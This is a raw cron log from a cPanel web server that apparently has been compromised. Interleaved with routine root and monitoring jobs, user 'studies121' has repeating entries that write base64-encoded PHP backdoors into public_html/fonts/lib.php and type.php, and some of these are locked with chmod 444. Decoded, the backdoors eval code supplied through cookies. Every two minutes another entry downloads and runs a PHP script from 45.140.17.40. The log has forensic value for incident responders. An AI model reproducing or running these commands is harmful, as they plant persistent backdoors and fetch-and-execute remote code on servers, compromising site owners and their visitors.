Sep  6 12:15:01 ip-184-168-122-23 CROND[25585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:15:01 ip-184-168-122-23 CROND[25584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:15:01 ip-184-168-122-23 CROND[25586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:15:01 ip-184-168-122-23 CROND[25582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:16:01 ip-184-168-122-23 CROND[26225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:16:01 ip-184-168-122-23 CROND[26228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:16:01 ip-184-168-122-23 CROND[26227]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:16:01 ip-184-168-122-23 CROND[26231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:16:01 ip-184-168-122-23 CROND[26229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:16:01 ip-184-168-122-23 CROND[26230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:17:01 ip-184-168-122-23 CROND[26649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:17:01 ip-184-168-122-23 CROND[26652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:17:01 ip-184-168-122-23 CROND[26651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:17:01 ip-184-168-122-23 CROND[26653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:18:01 ip-184-168-122-23 CROND[27115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:18:01 ip-184-168-122-23 CROND[27117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:18:01 ip-184-168-122-23 CROND[27119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:18:01 ip-184-168-122-23 CROND[27120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:18:01 ip-184-168-122-23 CROND[27118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:19:01 ip-184-168-122-23 CROND[27554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:19:01 ip-184-168-122-23 CROND[27557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:19:01 ip-184-168-122-23 CROND[27555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:19:01 ip-184-168-122-23 CROND[27556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:20:01 ip-184-168-122-23 CROND[27984]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:20:01 ip-184-168-122-23 CROND[27990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:20:01 ip-184-168-122-23 CROND[27997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:20:01 ip-184-168-122-23 CROND[27998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:20:01 ip-184-168-122-23 CROND[27995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:20:01 ip-184-168-122-23 CROND[27996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:20:01 ip-184-168-122-23 CROND[27994]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:20:01 ip-184-168-122-23 CROND[28000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:20:01 ip-184-168-122-23 CROND[27999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:21:01 ip-184-168-122-23 CROND[28478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:21:01 ip-184-168-122-23 CROND[28479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:21:01 ip-184-168-122-23 CROND[28480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:21:01 ip-184-168-122-23 CROND[28481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:22:01 ip-184-168-122-23 CROND[29092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:22:01 ip-184-168-122-23 CROND[29093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:22:01 ip-184-168-122-23 CROND[29095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:22:01 ip-184-168-122-23 CROND[29097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:22:01 ip-184-168-122-23 CROND[29098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:23:01 ip-184-168-122-23 CROND[29590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:23:01 ip-184-168-122-23 CROND[29592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:23:01 ip-184-168-122-23 CROND[29591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:23:01 ip-184-168-122-23 CROND[29594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:24:01 ip-184-168-122-23 CROND[30144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:24:01 ip-184-168-122-23 CROND[30147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:24:01 ip-184-168-122-23 CROND[30146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:24:01 ip-184-168-122-23 CROND[30148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:24:01 ip-184-168-122-23 CROND[30150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:25:01 ip-184-168-122-23 CROND[30623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:25:01 ip-184-168-122-23 CROND[30626]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 12:25:01 ip-184-168-122-23 CROND[30629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:25:01 ip-184-168-122-23 CROND[30630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:25:01 ip-184-168-122-23 CROND[30631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:25:01 ip-184-168-122-23 CROND[30632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:25:01 ip-184-168-122-23 CROND[30633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:26:01 ip-184-168-122-23 CROND[31055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:26:01 ip-184-168-122-23 CROND[31057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:26:01 ip-184-168-122-23 CROND[31060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:26:01 ip-184-168-122-23 CROND[31058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:26:01 ip-184-168-122-23 CROND[31059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:27:01 ip-184-168-122-23 CROND[31610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:27:01 ip-184-168-122-23 CROND[31613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:27:01 ip-184-168-122-23 CROND[31615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
